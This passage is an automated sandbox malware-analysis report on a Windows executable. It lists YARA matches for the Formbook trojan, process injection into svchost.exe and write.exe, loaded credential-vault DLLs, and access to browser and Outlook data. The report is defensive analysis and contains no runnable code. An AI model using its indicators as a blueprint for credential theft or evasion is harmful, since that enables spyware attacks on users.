Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F1D5A	8_2_037F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03743D40	8_2_03743D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375FDC0	8_2_0375FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B9C32	8_2_037B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FFCF2	8_2_037FFCF2
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047F4420	11_2_047F4420
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047FE4F6	11_2_047FE4F6
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04802446	11_2_04802446
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04810591	11_2_04810591
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04750535	11_2_04750535
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0476C6E0	11_2_0476C6E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04750770	11_2_04750770
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04774750	11_2_04774750
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0474C7C0	11_2_0474C7C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047E2000	11_2_047E2000
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048041A2	11_2_048041A2
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047D8158	11_2_047D8158
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048101AA	11_2_048101AA
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048081CC	11_2_048081CC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047EA118	11_2_047EA118
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04740100	11_2_04740100
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047F0274	11_2_047F0274
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047D02C0	11_2_047D02C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048103E6	11_2_048103E6
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0475E3F0	11_2_0475E3F0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480A352	11_2_0480A352
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04750C00	11_2_04750C00
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04740CF2	11_2_04740CF2
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047F0CB5	11_2_047F0CB5
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047ECD1F	11_2_047ECD1F
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0475AD00	11_2_0475AD00
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0474ADE0	11_2_0474ADE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04768DBF	11_2_04768DBF
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480CE93	11_2_0480CE93
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04750E59	11_2_04750E59
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480EEDB	11_2_0480EEDB
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480EE26	11_2_0480EE26
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04762E90	11_2_04762E90
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047C4F40	11_2_047C4F40
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04770F30	11_2_04770F30
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047F2F30	11_2_047F2F30
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04792F28	11_2_04792F28
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04758F0D	11_2_04758F0D
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0475CFE0	11_2_0475CFE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04742FC8	11_2_04742FC8
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047CEFA0	11_2_047CEFA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04752840	11_2_04752840
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0475A840	11_2_0475A840
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0477E8F0	11_2_0477E8F0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047368B8	11_2_047368B8
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04766962	11_2_04766962
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0481A9A6	11_2_0481A9A6
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047529A0	11_2_047529A0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0474EA80	11_2_0474EA80
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04806BD7	11_2_04806BD7
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480AB40	11_2_0480AB40
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04741460	11_2_04741460
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480F43F	11_2_0480F43F
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048195C3	11_2_048195C3
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047ED5B0	11_2_047ED5B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04807571	11_2_04807571
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04795630	11_2_04795630
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048016CC	11_2_048016CC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480F7B0	11_2_0480F7B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480F0E0	11_2_0480F0E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_048070E9	11_2_048070E9
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047FF0CC	11_2_047FF0CC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047570C0	11_2_047570C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0473F172	11_2_0473F172
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0478516C	11_2_0478516C
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0475B1B0	11_2_0475B1B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0481B16B	11_2_0481B16B
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047F12ED	11_2_047F12ED
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0476B2C0	11_2_0476B2C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047552A0	11_2_047552A0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0473D34C	11_2_0473D34C
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480132D	11_2_0480132D
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0479739A	11_2_0479739A
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047C9C32	11_2_047C9C32
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480FCF2	11_2_0480FCF2
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04753D40	11_2_04753D40
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0476FDC0	11_2_0476FDC0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04801D5A	11_2_04801D5A
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04807D73	11_2_04807D73
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04759EB0	11_2_04759EB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480FFB1	11_2_0480FFB1
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480FF09	11_2_0480FF09
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04713FD2	11_2_04713FD2
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04713FD5	11_2_04713FD5
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04751F92	11_2_04751F92
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047BD800	11_2_047BD800
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047538E0	11_2_047538E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04759950	11_2_04759950
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0476B950	11_2_0476B950
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047C3A6C	11_2_047C3A6C
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047FDAC6	11_2_047FDAC6
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04807A46	11_2_04807A46
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480FA49	11_2_0480FA49
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047EDAAC	11_2_047EDAAC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04795AA0	11_2_04795AA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047F1AA3	11_2_047F1AA3
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0478DBF9	11_2_0478DBF9
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047C5BF0	11_2_047C5BF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0480FB76	11_2_0480FB76
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0476FB80	11_2_0476FB80
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00541A70	11_2_00541A70
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0053C9C0	11_2_0053C9C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0053C9B7	11_2_0053C9B7
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0053CBE0	11_2_0053CBE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0053AC60	11_2_0053AC60
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005450F0	11_2_005450F0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005432DB	11_2_005432DB
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005432E0	11_2_005432E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0055B6B0	11_2_0055B6B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456E424	11_2_0456E424
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456C678	11_2_0456C678
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456E7BC	11_2_0456E7BC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456E304	11_2_0456E304
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456D828	11_2_0456D828

Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 047CF290 appears 105 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 04785130 appears 50 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 047BEA12 appears 86 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 04797E54 appears 111 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 0473B970 appears 279 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03775130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03787E54 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0372B970 appears 278 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037AEA12 appears 86 times
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: String function: 00445AE0 appears 65 times

Source: Z6s208B9QX.exe, 00000000.00000003.1281513646.0000000004AA3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Z6s208B9QX.exe
Source: Z6s208B9QX.exe, 00000000.00000003.1286509448.0000000004C4D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Z6s208B9QX.exe

Source: Z6s208B9QX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@13/10

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464EAE

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0047839D

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

File created: C:\Users\user\AppData\Local\Temp\nonagglutinant

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Command line argument: ou

0_2_0040D6B0

Source: Z6s208B9QX.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: write.exe, 0000000B.00000003.1916764326.0000000002BAD000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1914779751.0000000002BA2000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3743884868.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3743884868.0000000002BA2000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1914630931.0000000002B7F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Z6s208B9QX.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

File read: C:\Users\user\Desktop\Z6s208B9QX.exe

Source: unknown	Process created: C:\Users\user\Desktop\Z6s208B9QX.exe "C:\Users\user\Desktop\Z6s208B9QX.exe"
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Z6s208B9QX.exe"
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Process created: C:\Windows\SysWOW64\write.exe "C:\Windows\SysWOW64\write.exe"
Source: C:\Windows\SysWOW64\write.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Z6s208B9QX.exe"	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Process created: C:\Windows\SysWOW64\write.exe "C:\Windows\SysWOW64\write.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\write.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: Z6s208B9QX.exe

Static file information: File size 1403415 > 1048576

Source:	Binary string: write.pdbGCTL source: svchost.exe, 00000008.00000002.1730455622.0000000003019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730439402.0000000003000000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744246000.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: write.pdb source: svchost.exe, 00000008.00000002.1730455622.0000000003019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730439402.0000000003000000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744246000.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UCAmCgWJyh.exe, 0000000A.00000000.1650413823.0000000000B3E000.00000002.00000001.01000000.00000005.sdmp, UCAmCgWJyh.exe, 0000000D.00000000.1799667591.0000000000B3E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Z6s208B9QX.exe, 00000000.00000003.1278966873.0000000004980000.00000004.00001000.00020000.00000000.sdmp, Z6s208B9QX.exe, 00000000.00000003.1282094374.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730639128.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1631846240.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730639128.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1633513336.0000000003500000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3746720068.0000000004710000.00000040.00001000.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1732839764.000000000456A000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1730478415.00000000043B1000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3746720068.00000000048AE000.00000040.00001000.00020000.00000000.sdmp
